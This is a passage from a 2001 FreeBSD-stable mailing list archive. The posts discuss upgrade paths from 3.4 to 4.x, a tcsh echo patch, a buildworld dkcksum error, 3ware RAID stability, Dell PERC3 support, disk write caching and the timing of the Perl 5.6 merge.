too long. I'll see if I can find someone there that remembers. -sc On Thu, Mar 15, 2001 at 05:14:40PM +0000, j mckitrick wrote: > Delivered-To: sean@chittenden.org > Date: Thu, 15 Mar 2001 17:14:40 +0000 > From: j mckitrick > To: Sean Chittenden > Cc: freebsd-stable@freebsd.org > Subject: Re: Update UPDATING for upgrade path from 3.4 (was Re: Major upg= rade)... > X-Mailer: Mutt 1.0.1i > In-Reply-To: <20010314101415.B48101@rand.tgd.net>; from sean@chittenden.o= rg on Wed, Mar 14, 2001 at 10:14:15AM -0800 >=20 > On Wed, Mar 14, 2001 at 10:14:15AM -0800, Sean Chittenden wrote: > | I've done this upgrade a few times and tried going from 3.4 -> > | 4.X: not so smooth. In fact, big sink whole for time, however, 3.4 -> > | 3.5-STABLE -> 4.X works very nicely. Having spent a chunk of time >=20 > Does anyone know what changed from 3.4->3.5 that makes the 4.x change so > much smoother? I thought 3.5 was just a few bug fixes for those who want= ed > to stay with the 3.x tree until 4.0 settled down a bit more. >=20 > jcm --=20 Sean Chittenden sean@chittenden.org --CblX+4bnyfN0pR09 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Comment: For info see http://www.gnupg.org iEYEARECAAYFAjqxFgwACgkQn09c7x7d+q3DpQCgnRoD4as/iyvA4zoeBJHVyDCG aEQAn2M4WNNNwY1hHH9kv7Ba8BqLe/mG =kgwx -----END PGP SIGNATURE----- --CblX+4bnyfN0pR09-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 11:34:31 2001 Delivered-To: freebsd-stable@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 9614137B719; Thu, 15 Mar 2001 11:34:22 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id LAA23540; Thu, 15 Mar 2001 11:33:33 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda23538; Thu Mar 15 11:33:20 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f2FJXEH37421; Thu, 15 Mar 2001 11:33:14 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdG37406; Thu Mar 15 11:32:31 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.3/8.9.1) id f2FJWUP56905; Thu, 15 Mar 2001 11:32:30 -0800 (PST) Message-Id: <200103151932.f2FJWUP56905@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdP56866; Thu Mar 15 11:32:28 2001 X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: schubert To: Stijn Hoop , ache@nagual.pp.ru Cc: freebsd-stable@FreeBSD.ORG, tcsh-bugs@mx.gw.com, current@FreeBSD.ORG Subject: Re: FWD: tcsh 6.10.00 echo;echo;echo; bug with fix In-reply-to: Your message of "Wed, 14 Mar 2001 09:41:35 +0100." <20010314094135.B361@pcwin002.win.tue.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 15 Mar 2001 11:32:28 -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG All implementations of csh and tcsh do this. I've tested this on Solaris csh, Tru64-UNIX csh, and DG/UX csh. Their implementations of csh behave the same as tcsh does, so does 44bsd-csh in the FreeBSD ports collection. This is not a bug, or if it is a bug it's been there since the beginning of csh. If your patch is implemented, we will lose compatibility with other implementations of csh, notably vendor implementations, making csh scripts incompatible across platforms. Under csh you need to: echo ''; echo ''; echo ''; I think maintaining compatibility across platforms is more important than adjusting tcsh's quirky behaviour, which BTW matches the quirky behaviour of the original csh on other platforms, rather than to have csh conform to what the Bourne family of shells do. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC In message <20010314094135.B361@pcwin002.win.tue.nl>, Stijn Hoop writes: > Hi, > > this bug also exists in 4.3-BETA as of today; is this fixable in time for > 4.3 ? > > --Stijn > > ----- Forwarded message from "Andrey A. Chernov" ----- > > From: "Andrey A. Chernov" > To: tcsh-bugs@mx.gw.com > Cc: current@freebsd.org > Subject: tcsh 6.10.00 echo;echo;echo; bug with fix > > echo;echo;echo; must output 3 new lines but currently not due to obvious > bug: > > --- sh.func.c.bak Fri Dec 1 01:18:27 2000 > +++ sh.func.c Tue Mar 13 13:04:54 2001 > @@ -1147,7 +1147,7 @@ > #endif /* BSDSIGS */ > v++; > if (*v == 0) > - return; > + goto done; > gflag = 0, tglob(v); > if (gflag) { > v = globall(v); > > -- > Andrey A. Chernov > http://ache.pp.ru/ > > ----- End forwarded message ----- > > -- > If today is the first day of the rest of your life, what the hell was > yesterday? > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 11:34:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail7.nc.rr.com (mail7.southeast.rr.com [24.93.67.54]) by hub.freebsd.org (Postfix) with ESMTP id 1F56B37B71C for ; Thu, 15 Mar 2001 11:34:53 -0800 (PST) (envelope-from bts@babbleon.org) Received: from babbleon.org ([66.26.250.181]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Thu, 15 Mar 2001 14:34:52 -0500 Message-ID: <3AB11942.4BA38D62@babbleon.org> Date: Thu, 15 Mar 2001 14:34:27 -0500 From: The Babbler Organization: None to speak of X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@freebsd.org Subject: Building? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have built kernels a number of times, but for the first time I'm trying to use FreeBSD-STABLE rather than just chaning options on the RELEASE kernel. Following the directions in the handbook and /usr/src/UPDATING, I installed the cvsupit package and got the sources, then cd'ed to /usr/src. I edited the kernel conf files for BTS (the kernel name I use) to add DIAGNOSTIC, DDB, and build with -g. (I'm having problems with frequent crashes, which is why I'm upgrading to STABLE in the first place.) Then in a temporary mental glitch, I did a make buildkernel KERNEL=BTS almost immediately I realized that this was a mistake and ^C'ed it, but this might be what's causing my trouble. I then did a make buildworld and it ran for a good long while and failed like this: cc -O -pipe -Wall -I/usr/obj/usr/src/i386/usr/include -c /usr/src/lib/libdisk/../../sbin/disklabel/dkcksum.c -o dkcksum.o /usr/src/lib/libdisk/../../sbin/disklabel/dkcksum.c:47: redefinition of `dkcksum' /usr/obj/usr/src/i386/usr/include/sys/disklabel.h:188: `dkcksum' previously defined here *** Error code 1 Stop in /usr/src/lib/libdisk. *** Error code 1 Stop in /usr/src/lib. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. What's the proper recovery from this? I did a make clean make buildworld But it still failed in the same way. -- "Brian, the man from babble-on" bts@babbleon.org Brian T. Schellenberger http://www.babbleon.org Support http://www.eff.org. Support decss defendents. Support http://www.programming-freedom.org. Boycott amazon.com. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 11:38:16 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns1.unixathome.org (ns1.unixathome.org [203.79.82.27]) by hub.freebsd.org (Postfix) with ESMTP id E2D1A37B73B for ; Thu, 15 Mar 2001 11:38:02 -0800 (PST) (envelope-from dan@langille.org) Received: from wocker (dan@wocker.int.nz.freebsd.org [192.168.0.99]) by ns1.unixathome.org (8.11.3/8.11.3) with ESMTP id f2FJbuA31616; Fri, 16 Mar 2001 08:37:56 +1300 (NZDT) (envelope-from dan@langille.org) Message-Id: <200103151937.f2FJbuA31616@ns1.unixathome.org> From: "Dan Langille" Organization: novice in training To: The Babbler Date: Fri, 16 Mar 2001 08:37:55 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Building? Reply-To: dan@langille.org Cc: freebsd-stable@FreeBSD.ORG In-reply-to: <3AB11942.4BA38D62@babbleon.org> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 15 Mar 2001, at 14:34, The Babbler wrote: > and it ran for a good long while and failed like this: > > cc -O -pipe -Wall -I/usr/obj/usr/src/i386/usr/include -c > /usr/src/lib/libdisk/../../sbin/disklabel/dkcksum.c -o dkcksum.o > /usr/src/lib/libdisk/../../sbin/disklabel/dkcksum.c:47: redefinition of > `dkcksum' > /usr/obj/usr/src/i386/usr/include/sys/disklabel.h:188: `dkcksum' > previously defined here > *** Error code 1 > > Stop in /usr/src/lib/libdisk. > *** Error code 1 > > Stop in /usr/src/lib. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > > Stop in /usr/src. > > > What's the proper recovery from this? > > I did a > > make clean > make buildworld > > But it still failed in the same way. I would try another cvsup and try again -- Dan Langille pgpkey - finger dan@unixathome.org | http://unixathome.org/finger.php got any work? I'm looking for some. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 11:39:50 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp1.sentex.ca (smtp1.sentex.ca [199.212.134.4]) by hub.freebsd.org (Postfix) with ESMTP id E3F0337B719; Thu, 15 Mar 2001 11:39:47 -0800 (PST) (envelope-from mike@sentex.net) Received: from simoeon.sentex.net (simeon.sentex.ca [209.112.4.47]) by smtp1.sentex.ca (8.11.2/8.11.1) with ESMTP id f2FJdgE46045; Thu, 15 Mar 2001 14:39:42 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <5.0.2.1.0.20010315142949.03387c00@marble.sentex.ca> X-Sender: mdtpop@marble.sentex.ca X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 15 Mar 2001 14:33:29 -0500 To: rand@meridian-enviro.com From: Mike Tancsa Subject: Re: 3ware problems Cc: rand@meridian-enviro.com, Mike Smith , freebsd-stable@FreeBSD.ORG, bryanh@meridian-enviro.com In-Reply-To: <87bsr2ones.wl@delta.meridian-enviro.com> References: <4.2.2.20010314203128.030e6c20@marble.sentex.net> <200103150029.f2F0TTF04572@mass.dis.org> <87g0gfopf4.wl@delta.meridian-enviro.com> <87elvzoona.wl@delta.meridian-enviro.com> <4.2.2.20010314203128.030e6c20@marble.sentex.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 01:14 PM 3/15/01 -0600, rand@meridian-enviro.com wrote: >Doug> As soon as we had the problem we upgraded the firmware. Here is the >Doug> revelant parts of dmesg: >Doug> >Doug> twe0: <3ware Storage Controller> port 0xef60-0xef6f irq 10 at device >20.0 >Doug> on pci0 >Doug> twe0: 4 ports, Firmware FE6X 1.01.18.001, BIOS BEXX 1.06.00.001 > >Mike> I have had good luck with that rev on a number of cards. Are >Mike> you by any chance using a stripe size other than the default 64? >Mike> I found using 128K craps out on FreeBSD and Win2K. > >Sorry this took me so long to verify, I just now had a chance at the >physical system. I am using a stripe size of 64KB, just verified that >in the 3ware bios. Hmmm... I am using the exact same rev, but with two RAID0 stripes. twe0: 4 ports, Firmware FE6X 1.01.18.001, BIOS BEXX 1.06.00.001 on one machine. I tried yesterday to stress the machine with 25 simultaneous bonnie -s 500 & Although the machine was sluggish, it still worked. Similarly, make -j12 buildworld worked. In the past when i saw a similar bug, I could reproduce it 100% of the time this way. ---Mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 11:40:41 2001 Delivered-To: freebsd-stable@freebsd.org Received: from poontang.schulte.org (poontang.schulte.org [209.134.156.197]) by hub.freebsd.org (Postfix) with ESMTP id E1CD737B719 for ; Thu, 15 Mar 2001 11:40:38 -0800 (PST) (envelope-from christopher@schulte.org) Received: from schulte-laptop.schulte.org (nb-105.netbriefings.com [204.72.185.105]) by poontang.schulte.org (8.9.3/8.9.3) with ESMTP id NAA45819; Thu, 15 Mar 2001 13:40:25 -0600 (CST) (envelope-from christopher@schulte.org) Message-Id: <5.0.2.1.0.20010315133924.00aafb00@pop.schulte.org> X-Sender: schulte@pop.schulte.org X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 15 Mar 2001 13:40:10 -0600 To: The Babbler , freebsd-stable@FreeBSD.ORG From: Christopher Schulte Subject: Re: Building? In-Reply-To: <3AB11942.4BA38D62@babbleon.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 02:34 PM 3/15/2001 -0500, The Babbler wrote: >cc -O -pipe -Wall -I/usr/obj/usr/src/i386/usr/include -c >/usr/src/lib/libdisk/../../sbin/disklabel/dkcksum.c -o dkcksum.o >/usr/src/lib/libdisk/../../sbin/disklabel/dkcksum.c:47: redefinition of >`dkcksum' >/usr/obj/usr/src/i386/usr/include/sys/disklabel.h:188: `dkcksum' >previously defined here There was some issues with dkcksum ~march 4 I believe. Is your source current? >-- >"Brian, the man from babble-on" bts@babbleon.org >Brian T. Schellenberger http://www.babbleon.org >Support http://www.eff.org. Support decss defendents. >Support http://www.programming-freedom.org. Boycott amazon.com. > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 11:50:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from yertle.kciLink.com (yertle.kciLink.com [208.184.13.195]) by hub.freebsd.org (Postfix) with ESMTP id A1F5537B718 for ; Thu, 15 Mar 2001 11:50:56 -0800 (PST) (envelope-from khera@kciLink.com) Received: from onceler.kciLink.com (onceler.kciLink.com [208.184.13.196]) by yertle.kciLink.com (Postfix) with ESMTP id 50E772E460 for ; Thu, 15 Mar 2001 14:50:37 -0500 (EST) Received: (from khera@localhost) by onceler.kciLink.com (8.11.3/8.11.1) id f2FJobk85749; Thu, 15 Mar 2001 14:50:37 -0500 (EST) (envelope-from khera) From: Vivek Khera MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15025.7436.951696.451824@onceler.kciLink.com> Date: Thu, 15 Mar 2001 14:50:36 -0500 To: stable@freebsd.org Subject: Dell PERC3-DCL support? X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to the release notes for 4.2-BETA (as of today), the Dell PERC3 is supported in its Di, QC, and Si variants. Dell is currently selling what they call PERC3-DCL (Presumably for Dual Channel). Is this also supported? It is found on their new 1U PowerEdge 1550 boxes. -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Vivek Khera, Ph.D. Khera Communications, Inc. Internet: khera@kciLink.com Rockville, MD +1-240-453-8497 AIM: vivekkhera Y!: vivek_khera http://www.khera.org/~vivek/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 11:51:13 2001 Delivered-To: freebsd-stable@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 104AA37B71D; Thu, 15 Mar 2001 11:51:02 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id LAA23598; Thu, 15 Mar 2001 11:50:54 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda23596; Thu Mar 15 11:50:34 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f2FJoOg37579; Thu, 15 Mar 2001 11:50:24 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdq37567; Thu Mar 15 11:49:33 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.3/8.9.1) id f2FJnVF13620; Thu, 15 Mar 2001 11:49:31 -0800 (PST) Message-Id: <200103151949.f2FJnVF13620@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdk13545; Thu Mar 15 11:49:29 2001 X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: schubert To: David Kelly Cc: Pete French , mobile@FreeBSD.ORG, sos@freebsd.dk, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA In-reply-to: Your message of "Tue, 13 Mar 2001 22:04:23 CST." <200103140404.f2E44Ne16415@grumpy.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 15 Mar 2001 11:49:29 -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200103140404.f2E44Ne16415@grumpy.dyndns.org>, David Kelly writes: > Pete French writes: > > All very interesting, but a small point has been forgotten > > hasnt it ? The way I read this thread is that until recentlly > > write-caching was enabled by default and has now been disabled (hence > > the original obseravtion of disc performance dropping). > > > > I havent noticed that FreeBSD has a bad reputation for loss of data > > in the event of am power outage, and my own experience backs this up. > > As so many people appear to have been running it this way by default until > > now you might have though that if it were a serious problem in reality then > > people would have noticed by now ? > > Well, I am an ex-Linux user who got fed up with Linux trashing my disk 3 > times one week. Each time (kernel panics) the damage was bad enough fsck > (e2fsck?) deleted a lot of critical files making a wipe/reinstall the > fastest way back to a running system. This was shortly after the release > of FreeBSD 2.0.0. Remember it well because that is when I became a > FreeBSD user. Hmm, probably 6 years ago this month. That's the same reason I switched from Linux to FreeBSD 2.0.5 5 or 6 years ago. > Have watched Linux from "outside" since then. Noticed I was not the > only one losing data. From what I've seen the Linux solution was not to > to fix a faulty design but to hack it until it doesn't lose as much. > > Linux was/is very proud of their ext2fs speed. Clearly at the expense of > reliability. Oddly enough that machine got 600k Bytes/sec thruput on > Linux, but 900k Bytes/sec on FreeBSD 2.0.0-RELEASE. 240 MB Western > Digital IDE drive. > > IMO the most reliable settings are the correct thing to do in spite of > simpleminded magazine authors who will "do a shootout" of Linux vs. > FreeBSD using only the stock settings. This is one of the three big reasons we (at our shop) are migrating our infrastructure servers (kerberos, console, file, web, firewall/proxy, etc.) from Linux to FreeBSD. As Linux (specifically RedHat) comes with more toys, bells and whistles, Linux will remain our desktop standard, not to mention the sure-to-be-lost political battle. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 12: 7:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by hub.freebsd.org (Postfix) with ESMTP id 634B837B718; Thu, 15 Mar 2001 12:07:28 -0800 (PST) (envelope-from bts@babbleon.org) Received: from babbleon.org ([66.26.250.181]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Thu, 15 Mar 2001 15:06:21 -0500 Message-ID: <3AB120A3.C9A50843@babbleon.org> Date: Thu, 15 Mar 2001 15:05:55 -0500 From: The Babbler Organization: None to speak of X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Cy Schubert - ITSD Open Systems Group Cc: David Kelly , Pete French , mobile@freebsd.org, sos@freebsd.dk, stable@freebsd.org Subject: Re: Disk I/O problem in 4.3-BETA References: <200103151949.f2FJnVF13620@cwsys.cwsent.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Personally, I've had more data loss with FreeBSD. My experience does seem to be unusual, but FreeBSD is no panacea, and no substitute for backups. On the other hand, Linux emulation mode works amazingly well; you don't actually have to give up user programs. I do miss "supermount", but I use vmware and the Linux version of Netscape--which works better under FreeBSD than under Linux. You really don't have to give up much even for a desktop. Cy Schubert - ITSD Open Systems Group wrote: > > In message <200103140404.f2E44Ne16415@grumpy.dyndns.org>, David Kelly > writes: > > Pete French writes: > > > All very interesting, but a small point has been forgotten > > > hasnt it ? The way I read this thread is that until recentlly > > > write-caching was enabled by default and has now been disabled (hence > > > the original obseravtion of disc performance dropping). > > > > > > I havent noticed that FreeBSD has a bad reputation for loss of data > > > in the event of am power outage, and my own experience backs this up. > > > As so many people appear to have been running it this way by default until > > > now you might have though that if it were a serious problem in reality then > > > people would have noticed by now ? > > > > Well, I am an ex-Linux user who got fed up with Linux trashing my disk 3 > > times one week. Each time (kernel panics) the damage was bad enough fsck > > (e2fsck?) deleted a lot of critical files making a wipe/reinstall the > > fastest way back to a running system. This was shortly after the release > > of FreeBSD 2.0.0. Remember it well because that is when I became a > > FreeBSD user. Hmm, probably 6 years ago this month. > > That's the same reason I switched from Linux to FreeBSD 2.0.5 5 or 6 > years ago. > > > > Have watched Linux from "outside" since then. Noticed I was not the > > only one losing data. From what I've seen the Linux solution was not to > > to fix a faulty design but to hack it until it doesn't lose as much. > > > > Linux was/is very proud of their ext2fs speed. Clearly at the expense of > > reliability. Oddly enough that machine got 600k Bytes/sec thruput on > > Linux, but 900k Bytes/sec on FreeBSD 2.0.0-RELEASE. 240 MB Western > > Digital IDE drive. > > > > IMO the most reliable settings are the correct thing to do in spite of > > simpleminded magazine authors who will "do a shootout" of Linux vs. > > FreeBSD using only the stock settings. > > This is one of the three big reasons we (at our shop) are migrating our > infrastructure servers (kerberos, console, file, web, firewall/proxy, > etc.) from Linux to FreeBSD. As Linux (specifically RedHat) comes with > more toys, bells and whistles, Linux will remain our desktop standard, > not to mention the sure-to-be-lost political battle. > > Regards, Phone: (250)387-8437 > Cy Schubert Fax: (250)387-5766 > Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca > Open Systems Group, ITSD, ISTA > Province of BC > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- "Brian, the man from babble-on" bts@babbleon.org Brian T. Schellenberger http://www.babbleon.org Support http://www.eff.org. Support decss defendents. Support http://www.programming-freedom.org. Boycott amazon.com. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 12:12: 8 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.tgd.net (rand.tgd.net [64.81.67.117]) by hub.freebsd.org (Postfix) with SMTP id 1BB0837B719 for ; Thu, 15 Mar 2001 12:12:05 -0800 (PST) (envelope-from sean@mailhost.tgd.net) Received: (qmail 57054 invoked by uid 1001); 15 Mar 2001 20:12:01 -0000 Date: Thu, 15 Mar 2001 12:12:01 -0800 From: Sean Chittenden To: stable@FreeBSD.ORG Subject: Re: Perl 5.6 merged soon? Message-ID: <20010315121201.E54243@rand.tgd.net> References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="RpqchZ26BWispMcB" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010315095551E.jkh@osd.bsdi.com>; from "jkh@osd.bsdi.com" on Thu, Mar 15, 2001 at = 09:55:51AM X-PGP-Key: 0x1EDDFAAD X-PGP-Fingerprint: C665 A17F 9A56 286C 5CFB 1DEA 9F4F 5CEF 1EDD FAAD X-Web-Homepage: http://sean.chittenden.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --RpqchZ26BWispMcB Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable I realize 4.3 is going to go gold in a few weeks, but would it be reasonable to assume 4.4? What are the list of outstanding issues for perl 5.6? Cancelling out of perl5.6 builds while doing a package install in CPAN is getting a bit old... -sc On Thu, Mar 15, 2001 at 09:55:51AM -0800, Jordan Hubbard wrote: > Delivered-To: sean-freebsd-stable@chittenden.org > Delivered-To: freebsd-stable@freebsd.org > To: goodleaf@clyde.goodleaf.net > Cc: stable@FreeBSD.ORG > Subject: Re: Perl 5.6 merged soon? > In-Reply-To: <20010315080445.A57062@clyde.goodleaf.net> > X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) > Date: Thu, 15 Mar 2001 09:55:51 -0800 > From: Jordan Hubbard > X-Dispatcher: imput version 20000228(IM140) > X-Loop: FreeBSD.ORG > Precedence: bulk >=20 > > I searched the mailing list archives for the answer to this, and found > > there the same question but no answer--just evaluations of Perl5.6. So > > is there some expectation of having 5.6 in stable soon, or in 4.3 relea= se? >=20 > None. It's far too late for that. :) >=20 > - Jordan >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message --=20 Sean Chittenden sean@chittenden.org --RpqchZ26BWispMcB Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Comment: For info see http://www.gnupg.org iEYEARECAAYFAjqxIhAACgkQn09c7x7d+q004gCeOjkiLZGIF7cU6Xeqw4E7k6Si 0csAnReDxjl6OwcpLKeOQF5FlWcxfmNQ =oc7+ -----END PGP SIGNATURE----- --RpqchZ26BWispMcB-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 12:17:47 2001 Delivered-To: freebsd-stable@freebsd.org Received: from serenity.mcc.ac.uk (serenity.mcc.ac.uk [130.88.200.93]) by hub.freebsd.org (Postfix) with ESMTP id 2302B37B718 for ; Thu, 15 Mar 2001 12:17:41 -0800 (PST) (envelope-from jcm@freebsd-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97] ident=root) by serenity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14deBo-000EDL-00; Thu, 15 Mar 2001 20:17:40 +0000 Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f2FKHdA24109; Thu, 15 Mar 2001 20:17:39 GMT (envelope-from jcm) Date: Thu, 15 Mar 2001 20:17:39 +0000 From: j mckitrick To: Sean Chittenden Cc: stable@freebsd.org Subject: Re: Perl 5.6 merged soon? Message-ID: <20010315201739.C23970@dogma.freebsd-uk.eu.org> References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20010315121201.E54243@rand.tgd.net>; from sean-freebsd-stable@chittenden.org on Thu, Mar 15, 2001 at 12:12:01PM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG | Cancelling out of perl5.6 builds while doing a package install | in CPAN is getting a bit old... -sc I figure this, like other similar issues, is a tradeoff between cutting edge software and production level stability and security. It just takes time. jm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 12:23:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from poontang.schulte.org (poontang.schulte.org [209.134.156.197]) by hub.freebsd.org (Postfix) with ESMTP id A931937B718 for ; Thu, 15 Mar 2001 12:23:43 -0800 (PST) (envelope-from christopher@schulte.org) Received: from schulte-laptop.schulte.org (nb-105.netbriefings.com [204.72.185.105]) by poontang.schulte.org (8.9.3/8.9.3) with ESMTP id OAA47371; Thu, 15 Mar 2001 14:23:27 -0600 (CST) (envelope-from christopher@schulte.org) Message-Id: <5.0.2.1.0.20010315141829.00ac2238@pop.schulte.org> X-Sender: schulte@pop.schulte.org X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 15 Mar 2001 14:23:12 -0600 To: Sean Chittenden , stable@FreeBSD.ORG From: Christopher Schulte Subject: Re: Perl 5.6 merged soon? In-Reply-To: <20010315121201.E54243@rand.tgd.net> References: <20010315095551E.jkh@osd.bsdi.com> <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: 